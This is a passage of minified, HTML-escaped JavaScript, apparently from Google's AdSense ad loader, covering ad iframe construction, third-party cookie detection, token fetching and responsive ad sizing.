e=b.contentWindow.document;if(b.onload&amp;&amp;e&amp;&amp;(!e.body||!e.body.firstChild))b.onload()}catch(f){}},!1)};var Zf=function(a,b){var c=new RegExp(&quot;\\b&quot;+a+&quot;=(\\d+)&quot;),d=c.exec(b);d&amp;&amp;(b=b.replace(c,a+&quot;=&quot;+(+d[1]+1||1)));return b},ag=Ra(&quot;var i=this.id,s=window.google_iframe_oncopy,H=s&amp;&amp;s.handlers,h=H&amp;&amp;H[i],w=this.contentWindow,d;try{d=w.document}catch(e){}if(h&amp;&amp;d&amp;&amp;(!d.body||!d.body.firstChild)){if(h.call){setTimeout(h,0)}else if(h.match){try{h=s.upd(h,i)}catch(e){}w.location.replace(h)}}&quot;);var bg={&#039;&quot;&#039;:&#039;\\&quot;&#039;,&quot;\\&quot;:&quot;\\\\&quot;,&quot;/&quot;:&quot;\\/&quot;,&quot;\b&quot;:&quot;\\b&quot;,&quot;\f&quot;:&quot;\\f&quot;,&quot;\n&quot;:&quot;\\n&quot;,&quot;\r&quot;:&quot;\\r&quot;,&quot;\t&quot;:&quot;\\t&quot;,&quot;\x0B&quot;:&quot;\\u000b&quot;},cg=/\uffff/.test(&quot;\uffff&quot;)?/[\\&quot;\x00-\x1f\x7f-\uffff]/g:/[\\&quot;\x00-\x1f\x7f-\xff]/g,dg=function(){},fg=function(a,b,c){switch(typeof b){case &quot;string&quot;:eg(b,c);break;case &quot;number&quot;:c.push(isFinite(b)&amp;&amp;!isNaN(b)?String(b):&quot;null&quot;);break;case &quot;boolean&quot;:c.push(String(b));break;case &quot;undefined&quot;:c.push(&quot;null&quot;);break;case &quot;object&quot;:if(null==b){c.push(&quot;null&quot;);break}if(b instanceof Array||void 0!=b.length&amp;&amp;b.splice){var d=b.length;c.push(&quot;[&quot;);for(var e=&quot;&quot;,f=0;f&lt;d;f++)c.push(e),fg(a,b[f],c),e=&quot;,&quot;;c.push(&quot;]&quot;);break}c.push(&quot;{&quot;);d=&quot;&quot;;for(e in b)b.hasOwnProperty(e)&amp;&amp;(f=b[e],&quot;function&quot;!=typeof f&amp;&amp;(c.push(d),eg(e,c),c.push(&quot;:&quot;),fg(a,f,c),d=&quot;,&quot;));c.push(&quot;}&quot;);break;case &quot;function&quot;:break;default:throw Error(&quot;Unknown type: &quot;+typeof b)}},eg=function(a,b){b.push(&#039;&quot;&#039;);b.push(a.replace(cg,function(a){if(a in bg)return bg[a];var b=a.charCodeAt(0),c=&quot;\\u&quot;;16&gt;b?c+=&quot;000&quot;:256&gt;b?c+=&quot;00&quot;:4096&gt;b&amp;&amp;(c+=&quot;0&quot;);return bg[a]=c+b.toString(16)}));b.push(&#039;&quot;&#039;)};var gg={},hg=(gg.google_ad_modifications=!0,gg.google_analytics_domain_name=!0,gg.google_analytics_uacct=!0,gg),ig=function(a){try{if(l.JSON&amp;&amp;l.JSON.stringify&amp;&amp;l.encodeURIComponent){var b=function(){return this};if(Object.prototype.hasOwnProperty(&quot;toJSON&quot;)){var c=Object.prototype.toJSON;Object.prototype.toJSON=b}if(Array.prototype.hasOwnProperty(&quot;toJSON&quot;)){var d=Array.prototype.toJSON;Array.prototype.toJSON=b}var e=l.encodeURIComponent(l.JSON.stringify(a));try{var f=Yb?l.btoa(e):Zb(Ub(e),void 0)}catch(g){f=&quot;#&quot;+Zb(Ub(e),!0)}c&amp;&amp;(Object.prototype.toJSON=c);d&amp;&amp;(Array.prototype.toJSON=d);return f}}catch(g){G.j(237,g,void 0,void 0)}return&quot;&quot;},jg=function(a){a.google_page_url&amp;&amp;(a.google_page_url=String(a.google_page_url));var b=[];Hb(a,function(a,d){if(null!=a){try{var c=[];fg(new dg,a,c);var f=c.join(&quot;&quot;)}catch(g){}f&amp;&amp;(f=f.replace(/\//g,&quot;\\$&amp;&quot;),Kb(b,d,&quot;=&quot;,f,&quot;;&quot;))}});return b.join(&quot;&quot;)};var mg=function(){var a=l;this.l=a=void 0===a?l:a;this.v=&quot;https://securepubads.g.doubleclick.net/static/3p_cookie.html&quot;;this.j=2;this.o=[];this.s=!1;a:{a=kb(!1,50);b:{try{var b=l.parent;if(b&amp;&amp;b!=l){var c=b;break b}}catch(g){}c=null}c&amp;&amp;a.unshift(c);a.unshift(l);var d;for(c=0;c&lt;a.length;++c)try{var e=a[c],f=kg(e);if(f){this.j=lg(f);if(2!=this.j)break a;!d&amp;&amp;x(e)&amp;&amp;(d=e)}}catch(g){}this.l=d||this.l}},og=function(a){if(2!=ng(a)){for(var b=1==ng(a),c=0;c&lt;a.o.length;c++)try{a.o[c](b)}catch(d){}a.o=[]}},pg=function(a){var b=kg(a.l);b&amp;&amp;2==a.j&amp;&amp;(a.j=lg(b))},ng=function(a){pg(a);return a.j},rg=function(a){var b=qg;b.o.push(a);if(2!=b.j)og(b);else if(b.s||(Bb(b.l,&quot;message&quot;,function(a){var c=kg(b.l);if(c&amp;&amp;a.source==c&amp;&amp;2==b.j){switch(a.data){case &quot;3p_cookie_yes&quot;:b.j=1;break;case &quot;3p_cookie_no&quot;:b.j=0}og(b)}}),b.s=!0),kg(b.l))og(b);else{a=(new Ab(b.l.document)).j.createElement(&quot;IFRAME&quot;);a.src=b.v;a.name=&quot;detect_3p_cookie&quot;;a.style.visibility=&quot;hidden&quot;;a.style.display=&quot;none&quot;;a.onload=function(){pg(b);og(b)};try{b.l.document.body.appendChild(a)}catch(c){}}},sg=function(a,b){try{return!(!a.frames||!a.frames[b])}catch(c){return!1}},kg=function(a){return a.frames&amp;&amp;a.frames[fb(&quot;detect_3p_cookie&quot;)]||null},lg=function(a){return sg(a,&quot;3p_cookie_yes&quot;)?1:sg(a,&quot;3p_cookie_no&quot;)?0:2};var tg=function(a,b,c,d,e){d=void 0===d?&quot;&quot;:d;var f=a.createElement(&quot;link&quot;);f.rel=c;-1!=c.toLowerCase().indexOf(&quot;stylesheet&quot;)?b=Ia(b):b instanceof Ha?b=Ia(b):b instanceof Wa?b instanceof Wa&amp;&amp;b.constructor===Wa&amp;&amp;b.wa===Va?b=b.ba:(t(b),b=&quot;type_error:SafeUrl&quot;):(b instanceof Wa||(b=b.na?b.aa():String(b),Xa.test(b)||(b=&quot;about:invalid#zClosurez&quot;),b=Ya(b)),b=b.aa());f.href=b;d&amp;&amp;&quot;preload&quot;==c&amp;&amp;(f.as=d);e&amp;&amp;(f.nonce=e);if(a=a.getElementsByTagName(&quot;head&quot;)[0])try{a.appendChild(f)}catch(g){}};var ug=/^\.google\.(com?\.)?[a-z]{2,3}$/,vg=/\.(cn|com\.bi|do|sl|ba|by|ma)$/,wg=function(a){return ug.test(a)&amp;&amp;!vg.test(a)},xg=l,qg,yg=function(a){a=&quot;https://&quot;+(&quot;adservice&quot;+a+&quot;/adsid/integrator.js&quot;);var b=[&quot;domain=&quot;+encodeURIComponent(l.location.hostname)];W[3]&gt;=+new Date&amp;&amp;b.push(&quot;adsid=&quot;+encodeURIComponent(W[1]));return a+&quot;?&quot;+b.join(&quot;&amp;&quot;)},W,X,zg=function(){xg=l;W=xg.googleToken=xg.googleToken||{};var a=+new Date;W[1]&amp;&amp;W[3]&gt;a&amp;&amp;0&lt;W[2]||(W[1]=&quot;&quot;,W[2]=-1,W[3]=-1,W[4]=&quot;&quot;,W[6]=&quot;&quot;);X=xg.googleIMState=xg.googleIMState||{};wg(X[1])||(X[1]=&quot;.google.com&quot;);&quot;array&quot;==t(X[5])||(X[5]=[]);&quot;boolean&quot;==typeof X[6]||(X[6]=!1);&quot;array&quot;==t(X[7])||(X[7]=[]);r(X[8])||(X[8]=0)},Y={$:function(){return 0&lt;X[8]},Ba:function(){X[8]++},Ca:function(){0&lt;X[8]&amp;&amp;X[8]--},Da:function(){X[8]=0},Ha:function(){return!1},ma:function(){return X[5]},ka:function(a){try{a()}catch(b){l.setTimeout(function(){throw b},0)}},qa:function(){if(!Y.$()){var a=l.document,b=function(b){b=yg(b);a:{try{var c=jb();break a}catch(h){}c=void 0}var d=c;tg(a,b,&quot;preload&quot;,&quot;script&quot;,d);c=a.createElement(&quot;script&quot;);c.type=&quot;text/javascript&quot;;d&amp;&amp;(c.nonce=d);c.onerror=function(){return l.processGoogleToken({},2)};b=eb(b);c.src=Ia(b);try{(a.head||a.body||a.documentElement).appendChild(c),Y.Ba()}catch(h){}},c=X[1];b(c);&quot;.google.com&quot;!=c&amp;&amp;b(&quot;.google.com&quot;);b={};var d=(b.newToken=&quot;FBT&quot;,b);l.setTimeout(function(){return l.processGoogleToken(d,1)},1E3)}}},Ag=function(a){zg();var b=xg.googleToken[5]||0;a&amp;&amp;(0!=b||W[3]&gt;=+new Date?Y.ka(a):(Y.ma().push(a),Y.qa()));W[3]&gt;=+new Date&amp;&amp;W[2]&gt;=+new Date||Y.qa()},Bg=function(a){l.processGoogleToken=l.processGoogleToken||function(a,c){var b=a;b=void 0===b?{}:b;c=void 0===c?0:c;a=b.newToken||&quot;&quot;;var e=&quot;NT&quot;==a,f=parseInt(b.freshLifetimeSecs||&quot;&quot;,10),g=parseInt(b.validLifetimeSecs||&quot;&quot;,10);e&amp;&amp;!g&amp;&amp;(g=3600);var h=b[&quot;1p_jar&quot;]||&quot;&quot;;b=b.pucrd||&quot;&quot;;zg();1==c?Y.Da():Y.Ca();var k=xg.googleToken=xg.googleToken||{},m=0==c&amp;&amp;a&amp;&amp;na(a)&amp;&amp;!e&amp;&amp;r(f)&amp;&amp;0&lt;f&amp;&amp;r(g)&amp;&amp;0&lt;g&amp;&amp;na(h);e=e&amp;&amp;!Y.$()&amp;&amp;(!(W[3]&gt;=+new Date)||&quot;NT&quot;==W[1]);var n=!(W[3]&gt;=+new Date)&amp;&amp;0!=c;if(m||e||n)e=+new Date,f=e+1E3*f,g=e+1E3*g,1E-5&gt;Math.random()&amp;&amp;Fb(&quot;https://pagead2.googlesyndication.com/pagead/gen_204?id=imerr&amp;err=&quot;+c,void 0),k[5]=c,k[1]=a,k[2]=f,k[3]=g,k[4]=h,k[6]=b,zg();if(m||!Y.$()){c=Y.ma();for(a=0;a&lt;c.length;a++)Y.ka(c[a]);c.length=0}};Ag(a)},Cg=function(a){qg=qg||new mg;rg(function(b){b&amp;&amp;a()})};var Z=fb(&quot;script&quot;),Gg=function(){var a=B(v,L.J),b=B(v,L.I)||a;if((B(v,L.u)||B(v,L.U)||b)&amp;&amp;!v.google_sa_queue){v.google_sa_queue=[];v.google_sl_win=v;v.google_process_slots=function(){return Dg(v,!a)};var c=b?Eg():Eg(&quot;/show_ads_impl_single_load.js&quot;);tg(v.document,c,&quot;preload&quot;,&quot;script&quot;);b?(b=document.createElement(&quot;IFRAME&quot;),b.id=&quot;google_shimpl&quot;,b.style.display=&quot;none&quot;,v.document.documentElement.appendChild(b),Fe(v,&quot;google_shimpl&quot;,&quot;&lt;!doctype html&gt;&lt;html&gt;&lt;body&gt;&quot;+(&quot;&lt;&quot;+Z+&quot;&gt;&quot;)+&quot;google_sailm=true;google_sl_win=window.parent;google_async_iframe_id=&#039;google_shimpl&#039;;&quot;+(&quot;&lt;/&quot;+Z+&quot;&gt;&quot;)+Fg()+&quot;&lt;/body&gt;&lt;/html&gt;&quot;),b.contentWindow.document.close()):lb(v.document,c)}},Dg=fd(215,function(a,b,c){c=void 0===c?+new Date:c;var d=a.google_sa_queue,e=d.shift();&quot;function&quot;==t(e)&amp;&amp;ed(216,gd,e);d.length&amp;&amp;(b||50&lt;+new Date-c?a.setTimeout(function(){return Dg(a,b)},0):Dg(a,b,c))}),Fg=function(a){return[&quot;&lt;&quot;,Z,&#039; src=&quot;&#039;,Eg(void 0===a?&quot;/show_ads_impl.js&quot;:a),&#039;&quot;&gt;&lt;/&#039;,Z,&quot;&gt;&quot;].join(&quot;&quot;)},Eg=function(a){a=void 0===a?&quot;/show_ads_impl.js&quot;:a;var b=xb?&quot;https&quot;:&quot;http&quot;;a:{if(vb)try{var c=v.google_cafe_host||v.top.google_cafe_host;if(c){var d=c;break a}}catch(e){}d=Ba(&quot;&quot;,&quot;pagead2.googlesyndication.com&quot;)}return Yf(d,[&quot;/pagead/js/&quot;,ub(),&quot;/r20170110&quot;,a,&quot;&quot;].join(&quot;&quot;),b)},Hg=function(a,b,c,d){return function(){var e=!1;d&amp;&amp;Uf().al(3E4);try{Fe(a,b,c),e=!0}catch(g){var f=nd().google_jobrunner;Tf(f)&amp;&amp;f.rl()}e&amp;&amp;(e=Zf(&quot;google_async_rrc&quot;,c),(new $f(a)).set(b,Hg(a,b,e,!1)))}},Ig=function(a){var b=[&quot;&lt;iframe&quot;];Hb(a,function(a,d){null!=a&amp;&amp;b.push(&quot; &quot;+d+&#039;=&quot;&#039;+Ra(a)+&#039;&quot;&#039;)});b.push(&quot;&gt;&lt;/iframe&gt;&quot;);return b.join(&quot;&quot;)},Kg=function(a,b,c){Jg(a,b,c,function(a,b,f){a=a.document;for(var d=b.id,e=0;!d||a.getElementById(d);)d=&quot;aswift_&quot;+e++;b.id=d;b.name=d;d=Number(f.google_ad_width);e=Number(f.google_ad_height);16==f.google_reactive_ad_format?(f=a.createElement(&quot;div&quot;),a=Ee(b,d,e),f.innerHTML=a,c.appendChild(f.firstChild)):(f=Ee(b,d,e),c.innerHTML=f);return b.id})},Jg=function(a,b,c,d){var e={},f=b.google_ad_width,g=b.google_ad_height;null!=f&amp;&amp;(e.width=f&amp;&amp;&#039;&quot;&#039;+f+&#039;&quot;&#039;);null!=g&amp;&amp;(e.height=g&amp;&amp;&#039;&quot;&#039;+g+&#039;&quot;&#039;);e.frameborder=&#039;&quot;0&quot;&#039;;e.marginwidth=&#039;&quot;0&quot;&#039;;e.marginheight=&#039;&quot;0&quot;&#039;;e.vspace=&#039;&quot;0&quot;&#039;;e.hspace=&#039;&quot;0&quot;&#039;;e.allowtransparency=&#039;&quot;true&quot;&#039;;e.scrolling=&#039;&quot;no&quot;&#039;;e.allowfullscreen=&#039;&quot;true&quot;&#039;;e.onload=&#039;&quot;&#039;+ag+&#039;&quot;&#039;;d=d(a,e,b);f=b.google_ad_output;e=b.google_ad_format;g=b.google_ad_width||0;var h=b.google_ad_height||0;e||&quot;html&quot;!=f&amp;&amp;null!=f||(e=g+&quot;x&quot;+h);f=!b.google_ad_slot||b.google_override_format||!xa[b.google_ad_width+&quot;x&quot;+b.google_ad_height]&amp;&amp;&quot;aa&quot;==b.google_loader_used;e&amp;&amp;f?e=e.toLowerCase():e=&quot;&quot;;b.google_ad_format=e;if(!r(b.google_reactive_sra_index)||!b.google_ad_unit_key){e=[b.google_ad_slot,b.google_orig_ad_format||b.google_ad_format,b.google_ad_type,b.google_orig_ad_width||b.google_ad_width,b.google_orig_ad_height||b.google_ad_height];f=[];g=0;for(h=c;h&amp;&amp;25&gt;g;h=h.parentNode,++g)f.push(9!==h.nodeType&amp;&amp;h.id||&quot;&quot;);(f=f.join())&amp;&amp;e.push(f);b.google_ad_unit_key=ob(e.join(&quot;:&quot;)).toString();e=[];for(f=0;c&amp;&amp;25&gt;f;++f){g=(g=9!==c.nodeType&amp;&amp;c.id)?&quot;/&quot;+g:&quot;&quot;;a:{if(c&amp;&amp;c.nodeName&amp;&amp;c.parentElement){h=c.nodeName.toString().toLowerCase();for(var k=c.parentElement.childNodes,m=0,n=0;n&lt;k.length;++n){var p=k[n];if(p.nodeName&amp;&amp;p.nodeName.toString().toLowerCase()===h){if(c===p){h=&quot;.&quot;+m;break a}++m}}}h=&quot;&quot;}e.push((c.nodeName&amp;&amp;c.nodeName.toString().toLowerCase())+g+h);c=c.parentElement}c=e.join()+&quot;:&quot;;e=a;f=[];if(e)try{var q=e.parent;for(g=0;q&amp;&amp;q!==e&amp;&amp;25&gt;g;++g){var u=q.frames;for(h=0;h&lt;u.length;++h)if(e===u[h]){f.push(h);break}e=q;q=e.parent}}catch(J){}b.google_ad_dom_fingerprint=ob(c+f.join()).toString()}q=jg(b);u=ig(b);var z;b=b.google_ad_client;if(!Ge)b:{c=kb();for(e=0;e&lt;c.length;e++)try{if(z=c[e].frames.google_esf){Ge=z;break b}}catch(J){}Ge=null}Ge?z=&quot;&quot;:(z={style:&quot;display:none&quot;},/[^a-z0-9-]/.test(b)?z=&quot;&quot;:(z[&quot;data-ad-client&quot;]=De(b),z.id=&quot;google_esf&quot;,z.name=&quot;google_esf&quot;,z.src=Yf(zb(),[&quot;/pagead/html/&quot;,ub(),&quot;/r20170110/zrt_lookup.html#&quot;].join(&quot;&quot;)),z=Ig(z)));b=z;z=B(a,L.u)||B(a,L.U)||B(a,L.I)||B(a,L.J);c=B(a,L.I)||B(a,L.J)||B(a,je.u);e=va;f=(new Date).getTime();a.google_t12n_vars=Td;g=a;g=Eb(Db(g))||g;g=g.google_unique_id;B(a,je.u)?(h=&quot;&lt;&quot;+Z+&quot;&gt;window.google_process_slots=function(){window.google_sa_impl({iframeWin: window, pubWin: window.parent});&quot;+(&quot;};&lt;/&quot;+Z+&quot;&gt;&quot;),k=Fg(),h+=k):h=B(a,L.m)?Fg(&quot;/show_ads_impl.js?&quot;+L.m):B(a,L.u)||B(a,L.U)?&quot;&lt;&quot;+Z+&quot;&gt;window.parent.google_sa_impl.call(&quot;+(&quot;this, window, document, location);&lt;/&quot;+Z+&quot;&gt;&quot;):B(a,L.I)||B(a,L.J)?&quot;&lt;&quot;+Z+&quot;&gt;window.parent.google_sa_impl({iframeWin: window, pubWin: window.parent});&lt;/&quot;+Z+&quot;&gt;&quot;:B(a,me.u)?Fg(&quot;/show_ads_impl_le.js&quot;):B(a,me.m)?Fg(&quot;/show_ads_impl_le_c.js&quot;):Fg();q=[&quot;&lt;!doctype html&gt;&lt;html&gt;&lt;body&gt;&quot;,b,&quot;&lt;&quot;+Z+&quot;&gt;&quot;,q,&quot;google_sailm=&quot;+c+&quot;;&quot;,z?&quot;google_sl_win=window.parent;&quot;:&quot;&quot;,&quot;google_unique_id=&quot;+(&quot;number&quot;===typeof g?g:0)+&quot;;&quot;,&#039;google_async_iframe_id=&quot;&#039;+d+&#039;&quot;;&#039;,&quot;google_start_time=&quot;+e+&quot;;&quot;,u?&#039;google_pub_vars=&quot;&#039;+u+&#039;&quot;;&#039;:&quot;&quot;,&quot;google_bpp=&quot;+(f&gt;e?f-e:1)+&quot;;&quot;,&quot;google_async_rrc=0;google_iframe_start_time=new Date().getTime();&quot;,&quot;&lt;/&quot;+Z+&quot;&gt;&quot;,h,&quot;&lt;/body&gt;&lt;/html&gt;&quot;].join(&quot;&quot;);b=a.document.getElementById(d)?Vf:Wf;d=Hg(a,d,q,!0);z?(a.google_sa_queue=a.google_sa_queue||[],a.google_sa_impl?b(d):a.google_sa_queue.push(d)):b(d)},Lg=function(a,b){var c=navigator;a&amp;&amp;b&amp;&amp;c&amp;&amp;(a=a.document,b=De(b),/[^a-z0-9-]/.test(b)||((c=Ja(&quot;r20160913&quot;))&amp;&amp;(c+=&quot;/&quot;),lb(a,Yf(&quot;pagead2.googlesyndication.com&quot;,&quot;/pub-config/&quot;+c+b+&quot;.js&quot;))))};var Mg=function(a,b,c){for(var d=a.attributes,e=d.length,f=0;f&lt;e;f++){var g=d[f];if(/data-/.test(g.name)){var h=Ja(g.name.replace(&quot;data-matched-content&quot;,&quot;google_content_recommendation&quot;).replace(&quot;data&quot;,&quot;google&quot;).replace(/-/g,&quot;_&quot;));if(!b.hasOwnProperty(h)){g=g.value;var k={};k=(k.google_reactive_ad_format=za,k.google_allow_expandable_ads=tb,k);g=k.hasOwnProperty(h)?k[h](g,null):g;null===g||(b[h]=g)}}}if(c.document&amp;&amp;c.document.body&amp;&amp;!Lf(b)&amp;&amp;!b.google_reactive_ad_format&amp;&amp;(d=parseInt(a.style.width,10),e=Xf(a,c),0&lt;e&amp;&amp;d&gt;e))if(f=parseInt(a.style.height,10),d=!!xa[d+&quot;x&quot;+f],B(c,fe.Y))b.google_ad_resize=0;else{h=e;if(d)if(g=ya(e,f))h=g,b.google_ad_format=g+&quot;x&quot;+f+&quot;_0ads_al&quot;;else throw Error(&quot;TSS=&quot;+e);b.google_ad_resize=1;b.google_ad_width=h;d||(b.google_ad_format=null,b.google_override_format=!0);e=h;a.style.width=e+&quot;px&quot;;f=Cf(e,&quot;auto&quot;,c,a,b);h=e;f.w.l(c,h,b,a);df(f,h,b);f=f.w;b.google_responsive_formats=null;f.minWidth()&gt;e&amp;&amp;!d&amp;&amp;(b.google_ad_width=f.minWidth(),a.style.width=f.minWidth()+&quot;px&quot;)}d=b.google_reactive_ad_format;if(!b.google_enable_content_recommendations||1!=d&amp;&amp;2!=d){d=a.offsetWidth||(b.google_ad_resize?parseInt(a.style.width,10):0);a:if(e=ta(Cf,d,&quot;auto&quot;,c,a,b,!0),f=B(c,&quot;182982000&quot;),h=B(c,&quot;182982100&quot;),(f||h)&amp;&amp;ef()&amp;&amp;!b.google_reactive_ad_format&amp;&amp;!Lf(b)){for(h=a;h;h=h.parentElement){if(k=g=y(h,c)){b:if(g=g.position,k=[&quot;static&quot;,&quot;relative&quot;],na(k))g=na(g)&amp;&amp;1==g.length?k.indexOf(g,0):-1;else{for(var m=0;m&lt;k.length;m++)if(m in k&amp;&amp;k[m]===g){g=m;break b}g=-1}k=0&lt;=g}if(!k)break a}b.google_resizing_allowed=!0;f?(f={},df(e(),d,f),b.google_resizing_width=f.google_ad_width,b.google_resizing_height=f.google_ad_height):b.google_ad_format=&quot;auto&quot;}if(d=Lf(b))e=a.offsetWidth||(b.google_ad_resize?parseInt(a.style.width,10):0),f=(f=Mf(d,e,a,b,c))?f:Cf(e,b.google_ad_format,c,a,b,b.google_resizing_allowed),f.w.l(c,e,b,a),df(f,e,b),1!=d&amp;&amp;(b=f.w.height(),a.style.height=b+&quot;px&quot;);else{if(!rb.test(b.google_ad_width)&amp;&amp;!qb.test(a.style.width)||!rb.test(b.google_ad_height)&amp;&amp;!qb.test(a.style.height)){if(d=y(a,c))a.style.width=d.width,a.style.height=d.height,Je(d,b);b.google_ad_width||(b.google_ad_width=a.offsetWidth);b.google_ad_height||(b.google_ad_height=a.offsetHeight);b.google_loader_features_used=256;d=Db(c);b.google_responsive_auto_format=d?d.data&amp;&amp;&quot;rspv&quot;==d.data.autoFormat?13:14:12}else Je(a.style,b),b.google_ad_output&amp;&amp;&quot;html&quot;!=b.google_ad_output||300!=b.google_ad_width||250!=b.google_ad_height||(d=a.style.width,a.style.width=&quot;100%&quot;,e=a.offsetWidth,a.style.width=d,b.google_available_width=e);C(c,&quot;153762914&quot;)||C(c,&quot;153762975&quot;)||C(c,&quot;164692081&quot;)||Of(c)?(b.google_resizing_allowed=!1,d=!0):d=!1;if(d&amp;&amp;(e=a.parentElement)){d=b.google_ad_format;if(f=Nf.test(d)||!d){f=Rb(c);if(!(h=null==f||b.google_reactive_ad_format)){h=I(f);if(!(f=!(488&gt;h&amp;&amp;320&lt;h)||!(f.innerHeight&gt;=f.innerWidth)||Oe(e,c)))a:{b:{f=e;for(h=0;100&gt;h&amp;&amp;f;h++){if((g=y(f,c))&amp;&amp;-1!=g.display.indexOf(&quot;table&quot;)){f=!0;break b}f=f.parentElement}f=!1}if(f)for(f=e,h=!1,g=0;100&gt;g&amp;&amp;f;g++){k=f.style;if(&quot;auto&quot;==k.margin||&quot;auto&quot;==k.marginLeft||&quot;auto&quot;==k.marginRight)h=!0;if(h){f=!0;break a}f=f.parentElement}f=!1}h=f}f=(h?!1:!0)&amp;&amp;Le(a,c)}if(f&amp;&amp;(f=a.offsetWidth||parseInt(a.style.width,10)||b.google_ad_width,h=I(c))&amp;&amp;(g=y(e,c))&amp;&amp;(g=Te(g,h,f),m=g.pa,k=g.direction,g=g.la,!(5&gt;g||.4&lt;g/h))){g=b.google_resizing_allowed=!0;if(C(c,&quot;164692081&quot;)||Of(c))g=Pe(e,c);e=-1*(Se(e)+m)+&quot;px&quot;;if(C(c,&quot;153762975&quot;)||Of(c))&quot;rtl&quot;==k?a.style.marginRight=e:a.style.marginLeft=e,a.style.width=h+&quot;px&quot;,a.style.zIndex=1932735282;e=&quot;&quot;;k=parseInt(a.offsetHeight||a.style.height||b.google_ad_height,10);d&amp;&amp;(d=d.match(Nf),e=d[3],k=parseInt(d[2],10));g&amp;&amp;Of(c)&amp;&amp;(d=f/k,1.15&lt;d&amp;&amp;(Ke(a,c)&lt;rd(c).clientHeight||(k=3&gt;d?Math.round(5*h/6):Math.round(k*h/f))));if(C(c,&quot;153762975&quot;)||Of(c))b.google_ad_format=h+&quot;x&quot;+k+e,b.google_ad_width=h,b.google_ad_height=k,a.style.height=k+&quot;px&quot;;b.google_resizing_width=h;b.google_resizing_height=k}}C(c,ae.u)&amp;&amp;12==b.google_responsive_auto_format&amp;&amp;(b.efwr=Re(a.offsetWidth||parseInt(a.style.width,10)||b.google_ad_width,c,a,b))}}else b.google_ad_width=I(c),b.google_ad_height=50,a.style.display=&quot;none&quot;};var Ng=!1,Og=0,Pg=!1,Qg=!1,Rg=function(a){return Qb.test(a.className)&amp;&amp;&quot;done&quot;!=a.getAttribute(&quot;data-adsbygoogle-status&quot;)},Tg=function(a,b){var c=window;a.setAttribute(&quot;data-adsbygoogle-status&quot;,&quot;done&quot;);Sg(a,b,c)},Sg=function(a,b,c){var d=Pb();d.google_spfd||(d.google_spfd=Mg);(d=b.google_reactive_ads_config)||Mg(a,b,c);if(!Ug(a,b,c)){if(d){if(Ng)throw new H(&quot;Only one &#039;enable_page_level_ads&#039; allowed per page.&quot;);Ng=!0}else b.google_ama||Mb(c);Pg||(Pg=!0,Lg(c,b.google_ad_client));Hb(hg,function(a,d){b[d]=b[d]||c[d]});b.google_loader_used=&quot;aa&quot;;b.google_reactive_tag_first=1===Og;if((d=b.google_ad_output)&amp;&amp;&quot;html&quot;!=d&amp;&amp;&quot;js&quot;!=d)throw new H(&quot;No support for google_ad_output=&quot;+d);ed(164,gd,function(){Kg(c,b,a)})}},Ug=function(a,b,c){var d=b.google_reactive_ads_config;if(d){var e=d.page_level_pubvars;var f=(pa(e)?e:{}).google_tag_origin}if(b.google_ama||&quot;js&quot;===b.google_ad_output)return!1;var g=b.google_ad_slot;e=c.google_ad_modifications;!e||Sb(e.ad_whitelist,g,f||b.google_tag_origin)?e=null:(f=e.space_collapsing||&quot;none&quot;,e=(g=Sb(e.ad_blacklist,g))?{ia:!0,ra:g.space_collapsing||f}:e.remove_ads_by_default?{ia:!0,ra:f}:null);if(e&amp;&amp;e.ia&amp;&amp;&quot;on&quot;!=b.google_adtest)return&quot;slot&quot;==e.ra&amp;&amp;(null!==sb(a.getAttribute(&quot;width&quot;))&amp;&amp;a.setAttribute(&quot;width&quot;,0),null!==sb(a.getAttribute(&quot;height&quot;))&amp;&amp;a.setAttribute(&quot;height&quot;,0),a.style.width=&quot;0px&quot;,a.style.height=&quot;0px&quot;),!0;if((e=y(a,c))&amp;&amp;&quot;none&quot;==e.display&amp;&amp;!(&quot;on&quot;==b.google_adtest||0&lt;b.google_reactive_ad_format||d))return c.document.createComment&amp;&amp;a.appendChild(c.document.createComment(&quot;No ad requested because of display:none on the adsbygoogle tag&quot;)),!0;a=null==b.google_pgb_reactive||3===b.google_pgb_reactive;return 1!==b.google_reactive_ad_format&amp;&amp;8!==b.google_reactive_ad_format||!a?!1:(l.console&amp;&amp;l.console.warn(&quot;Adsbygoogle tag with data-reactive-ad-format=&quot;+b.google_reactive_ad_format+&quot; is deprecated. Check out page-level ads at https://www.google.com/adsense&quot;),!0)},Vg=function(a){for(var b=document.getElementsByTagName(&quot;ins&quot;),c=0,d=b[c];c&lt;b.length;d=b[++c]){var e=d;if(Rg(e)&amp;&amp;&quot;reserved&quot;!=e.getAttribute(&quot;data-adsbygoogle-status&quot;)&amp;&amp;(!a||d.id==a))return d}return null},Wg=function(a){if(!Qg){Qg=!0;try{var b=l.localStorage.getItem(&quot;google_ama_config&quot;)}catch(da){b=null}try{var c=b?new oc(b?JSON.parse(b):null):null}catch(da){c=null}if(b=c)if(c=ec(b,pc,3),!c||E(c,1)&lt;=+new Date)try{l.localStorage.removeItem(&quot;google_ama_config&quot;)}catch(da){kd(l,{lserr:1})}else try{var d=dc(b,5);if(0&lt;d.length){var e=new rc,f=d||[];2&lt;e.v?e.l[2+e.s]=f:(bc(e),e.o[2]=f);var g=e}else b:{f=l.location.pathname;var h=fc(b,rc,7);e={};for(d=0;d&lt;h.length;++d){var k=E(h[d],1);r(k)&amp;&amp;!e[k]&amp;&amp;(e[k]=h[d])}for(var m=f.replace(/(^\/)|(\/$)/g,&quot;&quot;);;){var n=ob(m);if(e[n]){g=e[n];break b}if(!m){g=null;break b}m=m.substring(0,m.lastIndexOf(&quot;/&quot;))}}var p;if(p=g)a:{var q=dc(g,2);if(q)for(g=0;g&lt;q.length;g++)if(1==q[g]){p=!0;break a}p=!1}if(p){var u=new Kd;(new Od(new Gd(a,b),u)).start();var z=u.l;var J=ta(Rd,l);if(z.ca)throw Error(&quot;Then functions already set.&quot;);z.ca=ta(Qd,l);z.sa=J;Md(z)}}catch(da){kd(l,{atf:-1})}}},Xg=function(){var a=document.createElement(&quot;ins&quot;);a.className=&quot;adsbygoogle&quot;;a.style.display=&quot;none&quot;;return a},Yg=function(a){var b={};Hb(Tb,function(c,d){!1===a.enable_page_level_ads?b[d]=!1:a.hasOwnProperty(d)&amp;&amp;(b[d]=a[d])});pa(a.enable_page_level_ads)&amp;&amp;(b.page_level_pubvars=a.enable_page_level_ads);var c=Xg();wa.body.appendChild(c);var d={};d=(d.google_reactive_ads_config=b,d.google_ad_client=a.google_ad_client,d);Tg(c,d)},Zg=function(a){var b=Rb(window);if(!b)throw new H(&quot;Page-level tag does not work inside iframes.&quot;);b.google_reactive_ads_global_state||(b.google_reactive_ads_global_state=new 